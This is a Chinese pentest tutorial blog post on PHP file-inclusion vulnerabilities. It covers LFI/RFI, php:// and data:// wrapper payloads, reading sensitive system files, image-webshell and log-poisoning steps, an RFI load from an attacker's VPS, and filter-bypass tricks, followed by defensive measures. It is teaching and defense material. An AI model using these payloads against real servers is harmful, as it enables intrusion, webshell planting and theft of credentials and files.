皮皮宋渗透日记 11|文件包含漏洞全解析:LFI/RFI/ 伪协议 / 绕过 / 防御

大家好,我是皮皮宋~

今天聊 Web 渗透里的 "万金油漏洞"------文件包含漏洞!它既能读服务器敏感文件,又能配合文件上传执行木马,还能通过伪协议绕过防护,是 CTF 和实战中高频出现的漏洞类型。

我从 "基础概念→本地 / 远程包含→伪协议利用→绕过技巧→防御方案" 全拆解,全程带实操案例,新手也能一步步学会怎么挖、怎么利用!

一、文件包含漏洞核心:一句话讲透

和 SQL 注入一样,文件包含是代码注入型漏洞,本质是:

开发人员让用户控制 "要包含的文件路径",且未做严格过滤,攻击者通过修改路径,让服务器执行任意文件(本地 / 远程),甚至执行恶意代码。

1.1 先懂:什么是 "文件包含"?

以 PHP 为例,把可复用的代码写在单独文件里,用include()/require()调用这个文件,就是 "包含"------ 比如include("func.php"),直接复用 func.php 里的函数。

1.2 漏洞产生的关键

用户能控制包含的文件路径(比如include($_GET['file'])),且未过滤../、协议、特殊字符,导致攻击者可自定义路径。

1.3 PHP 核心包含函数(必认)

函数 特点
include() 找不到文件仅报警告,脚本继续执行
include_once() 与 include 一致,但文件只包含一次
require() 找不到文件报致命错误,脚本停止
require_once() 与 require 一致,但文件只包含一次

💡 核心特性:这些函数不校验文件后缀!哪怕是.jpg/.txt 文件,只要里面有 PHP 代码,都会被解析执行。

1.4 代码演示:后缀不影响解析

  1. 创建phpinfo.php,内容,用include()调用→正常解析;

  2. 改后缀为phpinfo.txt/phpinfo.jpg,再包含→依然解析 PHP 代码;

  3. 若文件内容是普通文本(如hello world),包含后直接显示文本。

✅ 结论:只要有文件包含漏洞,上传一张 "图片马"(jpg 里藏 PHP 木马),就能被当作 PHP 文件执行!

二、本地文件包含(LFI):读服务器本地文件

能打开 / 包含服务器本地文件的漏洞,就是 LFI,核心是 "构造路径读敏感文件"。

2.1 实战演示:读系统敏感文件

测试代码(无过滤):

复制代码
<?php
$file = $_GET['file'];
include($file);
?>

(1)绝对路径读取

直接写文件完整路径:

复制代码
http://xxx.com/test.php?file=C:\Windows\system.ini  
Windowshttp://xxx.com/test.php?file=/etc/passwd           # Linux

(2)相对路径读取

用../回退目录(跨平台通用):

  • 当前路径:C:\Apache24\htdocs\

  • 读C:\windows\system.ini:../../windows/system.ini

2.2 高频敏感文件路径(收藏!)

Windows 系统

  • C:\boot.ini → 查看系统版本

  • C:\windows\repair\sam→ 存储系统初始密码

  • C:\ProgramFiles\mysql\my.ini → MySQL 配置

  • C:\windows\php.ini → PHP 配置

Linux/Unix 系统

  • /etc/passwd → 账户信息

  • /etc/shadow→ 账户密码(加密)

  • /usr/local/app/php5/lib/php.ini→ PHP 配置

  • /etc/httpd/conf/httpd.conf→ Apache 配置


三、LFI 漏洞利用技巧(实战必学)

3.1 配合文件上传(最常用)

找不到直接的文件上传漏洞?先传 "图片马",再用 LFI 解析:

步骤(DVWA Low 级别为例):

  1. 制作图片马:新建shell.jpg,内容;

  2. 上传图片马,记录存储路径(如/upload/shell.jpg);

  3. 构造 LFI URL:http://xxx.com/fi.php?file=../../upload/shell.jpg;

  4. 用蚁剑 / 菜刀连接,密码cmd→拿到 webshell。

3.2 包含 Apache 日志文件(无上传点时用)

服务器会记录请求日志(access.log/error.log),攻击者可往日志里写 PHP 代码,再包含日志文件执行。

利用条件:

  • 能读取日志文件;

  • 知道日志存储路径(默认/var/log/apache2/access.log)。

步骤:

  1. 用 Burp 抓包,修改请求头 / URL,写入 PHP 代码(如);

  2. 日志会记录该请求,把 PHP 代码写入日志;

  3. 构造 LFI:http://xxx.com/test.php?file=/var/log/apache2/access.log→执行日志里的 PHP 代码。

3.3 包含 SESSION 文件

利用条件:

  • 找到 SESSION 里的可控变量;

  • 知道 SESSION 存储路径(phpinfo 里的session.save_path,默认/tmp/sess_xxx)。

核心思路:

往 SESSION 里写入 PHP 代码→包含 SESSION 文件→执行代码。

3.4 包含临时文件(条件竞争)

PHP 上传文件时会生成临时文件(Linux/tmp、WindowsC:\windows\temp),在临时文件被删除前,通过 "时间竞争" 包含它。


四、远程文件包含(RFI):加载远程恶意文件

当 PHP 配置allow_url_include=On、allow_url_fopen=On时,include()能加载远程服务器文件,就是 RFI。

4.1 实战演示:加载远程 PHP 文件

  1. 攻击者 VPS 新建test.php,内容;

  2. 构造 RFI URL:http://xxx.com/test.php?file=http://你的VPSIP/test.php;

  3. 服务器会加载并执行 VPS 上的test.php→若为木马,直接控制服务器。

4.2 截断技巧(路径后加后缀时用)

若代码自动给路径加后缀(如include($file . ".php")),可通过截断绕过:

五、PHP 伪协议:文件包含的 "万能钥匙"

PHP 内置了多种协议,可绕过过滤、读取源码、执行代码,是文件包含的核心利用手段!

5.1 file://协议(读本地文件)

不受allow_url_fopen/allow_url_include限制,直接读本地文件:

复制代码
http://xxx.com/test.php?file=file:///etc/passwd
http://xxx.com/test.php?file=file://C:\windows\system.ini

​​​​​​​

5.2 php://协议(核心!)

(1)php://filter:读取 PHP 源码(base64 编码)

直接包含 PHP 文件会执行代码,看不到源码→用 base64 编码读取:

复制代码
http://xxx.com/test.php?file=php://filter/convert.base64-encode/resource=index.php

拿到 base64 编码后,解码即可看到index.php完整源码。

(2)php://input:执行 POST 里的 PHP 代码

利用条件:allow_url_include=On

步骤:

  1. 构造 URL:http://xxx.com/test.php?file=php://input;

  2. Burp 抓包,POST 内容写 PHP 代码(如);

  3. 发送请求→服务器执行 POST 里的代码,直接写入木马。

5.3 zip://协议(读取压缩包内文件)

利用条件:

  • 压缩包为 zip 格式(后缀可改,如.jpg/.txt);

  • 用#分割压缩包和内部文件(URL 编码为%23);

  • 需绝对路径。

POC:

复制代码
http://xxx.com/test.php?file=zip://C:\upload\shell.zip%23shell.php

(shell.zip里包含shell.php木马,后缀可改为shell.jpg绕过上传过滤)

5.4 data://协议(直接执行 PHP 代码)

利用条件:allow_url_fopen=On+allow_url_include=On

POC:

复制代码
http://xxx.com/test.php?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b

(base64 解码后是,直接执行)

5.5 伪协议利用条件小结

协议 allow_url_fopen allow_url_include 用途
file:// 任意 任意 读本地文件
php://filter 任意 任意 读源码(base64)
php://input 任意 On 执行 POST 代码
zip:// 任意 任意 读压缩包内文件
data:// On On 执行代码
http:// On On 远程文件包含

六、文件包含漏洞绕过技巧(突破防护)

网站会过滤../、协议、特殊字符,记这 6 个实用绕过方法:

6.1 URL 编码绕过

对../、协议名多次 URL 编码(如../→%2e%2e%2f→%252e%252e%252f),绕过字符串匹配的 WAF。

6.2 特殊字符绕过

  • 用 Shell 通配符:/etc/passwd→/etc/pass?、/etc/*asswd;

  • 用?/#截断路径后缀;

  • 用 Unicode 相似字符:/(全角)替代/(半角)。

6.3 %00截断

条件:magic_quotes_gpc=Off+ PHP<5.3.4,截断路径后多余字符。

6.4 长度截断

  • Windows:文件路径最长 259 字节,用./././...填满路径,截断后续字符;

  • Linux:文件名最长 255 字节,同理构造超长路径。

6.5 伪协议绕过

用php://filter/zip://替代直接路径,绕过 "禁止远程包含""过滤../"。

6.6 协议绕过

allow_url_fopen/allow_url_include仅限制http:///ftp://,可改用SMB:///WebDav://加载远程文件。


七、文件包含漏洞防御:从根源杜绝

核心思路:不让用户控制包含路径 + 限制包含范围 + 禁用危险功能!

  1. 输入过滤:用str_replace()过滤../、\、伪协议(php://、file://)等危险字符;

  2. 白名单验证:只允许包含指定文件(如$allow = ["func.php","head.php"];),不在白名单则拒绝;

  3. 限制目录:配置open_basedir,将 PHP 能打开的文件限制在指定目录(如open_basedir = /var/www/html/);

  4. 禁用远程包含:php.ini 设置allow_url_include = Off;

  5. 升级 PHP 版本:修复%00截断等老漏洞;

  6. 文件重命名:上传的文件随机重命名,避免被精准包含;

  7. 固定包含路径:尽量不用动态包含(如include("head.php"),而非include($_GET['file']));

  8. 最小权限:运行 PHP 的账号仅赋予必要权限,即使被包含也无法读敏感文件。


💡 今天小结

文件包含漏洞的核心是 "可控的包含路径 + 未过滤的输入",新手学习路径:

  1. 先认包含函数和敏感路径;

  2. 练 LFI 读文件、配合上传执行木马;

  3. 掌握php://filter/php://input等伪协议;

  4. 学绕过技巧,突破常见防护。

它和文件上传、代码执行漏洞联动性极强,学会了能解决 80% 的 "拿 shell" 场景!

相关推荐
运维有小邓@2 小时前
文件分析如何检测文件安全漏洞?
网络·安全·web安全
阿拉斯攀登2 小时前
【无人售货柜・RK+YOLO】篇 6:安卓端落地!RK3576 + 安卓系统,YOLO RKNN 模型实时推理保姆级教程
android·人工智能·yolo·目标跟踪·瑞芯微·嵌入式驱动
志栋智能2 小时前
从手动处置到自动响应:安全工作的范式升级
网络·安全
北京软秦科技有限公司2 小时前
AI审核如何守护游乐设施安全底线?IACheck成为检测报告智能审核新助手
人工智能·安全
ComPDFKit2 小时前
OpenClaw安全风险与规避方法 — 安全“养虾”全套办法
安全·ai
只能是遇见2 小时前
ERROR 1524 (HY000) Plugin ‘mysql_native_password‘ is not loaded
android·数据库·mysql
乾元2 小时前
全球治理: 从《AI 法案》看安全合规的国际趋势
网络·人工智能·安全·机器学习·网络安全·架构·安全架构
helloworddm2 小时前
第一篇:设计模式在 Android 视频播放器中的实战应用
android·设计模式·音视频